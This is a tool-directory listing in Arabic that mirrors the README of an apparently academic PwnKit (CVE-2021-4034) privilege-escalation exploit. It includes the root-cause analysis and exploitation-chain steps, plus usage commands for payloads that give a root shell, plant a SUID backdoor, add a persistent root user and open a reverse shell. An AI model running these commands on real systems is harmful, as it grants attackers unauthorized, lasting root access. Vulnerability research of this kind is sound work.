Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/devianntsec/cve-2021-4034
تصعيد الامتيازاتتحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالما بعد الاستغلالاختبار الاختراقالتعلم والتعليمالفريق الأحمرتطوير الحمولاتاستغلال الملفات الثنائية
GitHubdevianntsec/cve-2021-4034

CVE-2021-4034

138منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

أطروحة ماجستير حول بحث CVE-2021-4034 (PwnKit) لتصعيد الامتيازات المحلية. استغلال Python متعدد الحمولات مع 7 أوضاع تشمل الصدفة التفاعلية، الباب الخلفي SUID، الصدفة العكسية، وإنشاء مستخدم جذر. يتضمن تحليل السبب الجذري وتوثيق سلسلة الاستغلال.

عرض المستودع

CVE-2021-4034 — PwnKit تصعيد الامتيازات المحلية · بحث رسالة الماجستير

Platform Language License: MIT Research CVSS

ثغرة تلف الذاكرة في أداة pkexec التابعة لـ polkit
تصعيد امتيازات محلي → جذر عبر كتابة خارج النطاق
المتأثر: polkit 0.105-31 والإصدارات الأقدم · التصحيح: polkit 0.105-33 (يناير 2022)


صدفة جذر تفاعلية تم الحصول عليها عبر CVE-2021-4034 - PwnKit

الوصف

يحتوي هذا المستودع على بحث رسالة الماجستير الخاص بي حول CVE-2021-4034، وهي ثغرة تصعيد امتيازات محلي شديدة الخطورة (CVSS 7.8) في أداة pkexec التابعة لـ polkit، والمعروفة باسم PwnKit.

تنبع الثغرة من كتابة خارج النطاق (out-of-bounds write) في منطق معالجة الوسائط في pkexec. عند تنفيذ pkexec مع argv فارغ أو مُصمَّم بعناية، فإنها تقرأ وتكتب خارج حدود مصفوفة argv إلى مصفوفة envp، مما يسمح لمستخدم محلي غير مميَّز بحقن متغيرات بيئة خبيثة تُحمَّل لاحقًا كمكتبة مشتركة، لتنفيذ تعليمات برمجية عشوائية بصلاحيات الجذر.

مساهمتي

الجانبالوصف
استغلال متعدد الحمولاتغلاف Python مع 6 أوضاع حمولات تشمل shell وid وbackdoor وreverse shell

هيكل المستودع

root@kitploit:~
CVE-2021-4034/
├── README.md                        # This file
├── LICENSE                          # MIT License
│
├── exploit/
│   └── pwnkit.py                    # Advanced exploit with multiple payloads
│
└── docs/
    ├── screenshots/                 # Exploitation demonstrations
    │   ├── 01-pwnkit-shell.png
    │   ├── 02-pwnkit-id.png
    │   ├── 03-pwnkit-whoami.png
    │   ├── 04-pwnkit-backdoor.png
    │   ├── 05-pwnkit-add-user.png
    │   ├── 06-pwnkit-reverse.png
    │   └── 07-pwnkit-custom.png
    │
    └── analysis/
        ├── 01-root-cause.md         # Vulnerability root cause analysis
        ├── 02-exploitation-chain.md # Exploitation chain breakdown
        └── 03-timeline.md           # CVE timeline

بداية سريعة

المتطلبات الأساسية

  • نظام Linux مزوّد بـ polkit ثغري (pkexec --version يُظهر 0.105 أو إصدارًا أقدم)
  • مترجم GCC (apt install gcc)
  • Python 3.6+
  • حساب مستخدم قياسي (لا يتطلب صلاحيات جذر)
  • يُنصح باستخدام جهاز افتراضي معزول للاختبار

الاستخدام

root@kitploit:~
# Interactive root shell (default)
python3 exploit/pwnkit.py -p shell

# Verify execution context
python3 exploit/pwnkit.py -p whoami

# Execute custom command as root
python3 exploit/pwnkit.py -p custom -c "id"

# Create SUID backdoor at /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid

# Add persistent root user
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mypassword

# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444

مرجع الحمولات


نظرة عامة تقنية

السبب الجذري للثغرة

تعالج pkexec الوسائط argv الخاصة بها لتحديد البرنامج المراد تشغيله. عند استدعائها مع argc == 0 (متجه وسائط فارغ)، يفشل فحص الحدود على argv بصمت. وتتعامل القراءة اللاحقة خارج النطاق مع envp[0] على أنها argv[1]، وتسمح الكتابة خارج النطاق العائدة إلى envp للمهاجم باستبدال متغير بيئة بمسار مُصمَّم. وعندما تستدعي pkexec لاحقًا g_printerr()، فإنها تحمّل GCONV_PATH من البيئة التي أصبحت تحت سيطرة المهاجم، فتحمّل مكتبة مشتركة يوفّرها المهاجم بصلاحيات الجذر.

root@kitploit:~
argc == 0  →  argv[1] reads envp[0]
             argv[1] = "GCONV_PATH=."  (writes back into envp)
             pkexec loads ./pwnkit.so  (attacker-controlled shared library)
             gconv_init() executes as root

سلسلة الاستغلال

root@kitploit:~
1. Craft argv = { NULL }  →  argc = 0, triggers OOB access
2. Set envp[0] = "pwnkit.so:."
3. Set envp[1] = "PATH=GCONV_PATH=."
4. pkexec OOB-writes "pwnkit.so:." into envp[0] as if it were argv[1]
5. pkexec resolves GCONV_PATH=. and loads gconv-modules
6. gconv-modules maps "PWNKIT" charset to pwnkit.so
7. pwnkit.so:gconv_init() called with root privileges
8. Payload executes (shell / backdoor / reverse shell / etc.)

تفاصيل تقنية أساسية


العروض التوضيحية

صدفة جذر تفاعلية

Interactive Shell

التحقق من الهوية (ID)

ID Payload

التحقق من Whoami

Whoami Payload

باب خلفي SUID

Backdoor Payload

إضافة مستخدم جذر

Add Root User

صدفة عكسية

Reverse Shell

أمر مخصص

Custom Payload


الاختبار التجريبي

أُجريت جميع الاختبارات على جهاز افتراضي معزول VirtualBox يعمل بنظام Ubuntu 20.04 LTS مع polkit 0.105-26 (ثغري)، دون أي تعرّض للشبكة.


التوثيق التقني

المستندالوصف
تحليل السبب الجذريكتابة خارج النطاق في معالجة وسائط pkexec
سلسلة الاستغلال

السياق الأكاديمي

هذا البحث جزء من رسالة الماجستير في الأمن السيبراني (UCAM — Campus Internacional de Ciberseguridad)، ويحلل ثغرات N-Day عبر بيئات متعددة.

تمثل هذه الثغرة CVE متجه تصعيد الامتيازات المحلي في Linux ضمن الرسالة، وتُظهر:

  • ثغرات أمان الذاكرة في الملفات الثنائية SUID
  • استغلال الكتابة خارج النطاق عبر التلاعب بمتغيرات البيئة
  • حقن مكتبة مشتركة عبر بنية iconv في glibc
  • تصميم إطار عمل متعدد الحمولات لما بعد الاستغلال

الكلمات المفتاحية: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit


المؤلف

Annais Molina (devianntsec) — طالبة ماجستير في الأمن السيبراني

GitHub LinkedIn Email


شكر وتقدير

  • فريق أبحاث Qualys — الاكتشاف الأصلي والإفصاح المسؤول
  • arthepsy — مرجع مبكر لإثبات المفهوم
  • berdav — تنفيذ مرجعي عام لإثبات المفهوم PoC

الترخيص

رخصة MIT — انظر LICENSE


إخلاء مسؤولية قانوني

يُقدَّم هذا المستودع لأغراض تعليمية وبحث أمني فقط، وذلك كجزء من رسالة ماجستير أكاديمية. أُجريت جميع الاختبارات على أجهزة افتراضية معزولة دون تعرّض للشبكة. استخدمه فقط على الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرّح به ضد الأنظمة غير قانوني وقد يؤدي إلى ملاحقة جنائية.

© 2026 Annais Molina · رسالة ماجستير في الأمن السيبراني
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
تنزيل الأداة
إعداد بيئة آليإنشاء تلقائي لـ GCONV_PATH وإعداد gconv-modules
وحدات ما بعد الاستغلالباب خلفي SUID، وإنشاء مستخدم جذر، وتنفيذ أوامر مخصصة
توثيق أكاديميتحليل السبب الجذري، وسلسلة الاستغلال، والجدول الزمني للثغرة
الحمولةالوصفالمخرَج
shellيفتح /bin/sh تفاعليًا بصلاحيات الجذرصدفة تفاعلية
idيكتب مخرَج id وwhoami إلى /tmp/pwnkit_id.txtملف
whoamiيكتب التحقق من UID/eUID إلى /tmp/pwnkit_root_testملف
backdoor_suidينشئ نسخة bash جذرية مع SUID في /tmp/.shباب خلفي دائم
add_root_userيضيف مستخدمًا مخصصًا إلى /etc/passwdوصول دائم
reverse_shellيتصل مرة أخرى بالمهاجم عبر Pythonصدفة عن بُعد
customينفذ أي أمر بصلاحيات الجذرالمخرَج القياسي / ملف
المكوّنالقيمةملاحظات
الملف الثنائي الثغري/usr/bin/pkexecSUID بصلاحيات الجذر
شرط التفعيلargc == 0argv فارغ
بدائية الكتابةكتابة خارج النطاق في envpعبر argv[argc-1]
آلية التحميلGCONV_PATH + gconv-modulesiconv القياسي من glibc
سياق التنفيذgconv_init() في مكتبة مشتركةيعمل بـ EUID 0
الإصدارات المتأثرةpolkit ≤ 0.105-31جميع توزيعات Linux الرئيسية
الحمولةالنتيجةملاحظات
shell✅ تم الحصول على صدفة جذروصول تفاعلي فوري
id✅ تم تأكيد uid=0(root)المخرَج في /tmp/pwnkit_id.txt
whoami✅ تم تأكيد rootUID/eUID = 0
backdoor_suid✅ تم ضبط بت SUID على /tmp/.shدائم بعد الاستغلال
add_root_user✅ تم إنشاء مستخدم مخصصيبقى بعد إعادة التشغيل
reverse_shell✅ تم إنشاء الاتصالصدفة Python عكسية تعمل
custom✅ تنفيذ أوامر عشوائيةسياق جذر كامل
تفصيل خطوة بخطوة لحقن GCONV_PATH
الجدول الزمني للثغرة CVEتسلسل الاكتشاف والإفصاح والتصحيح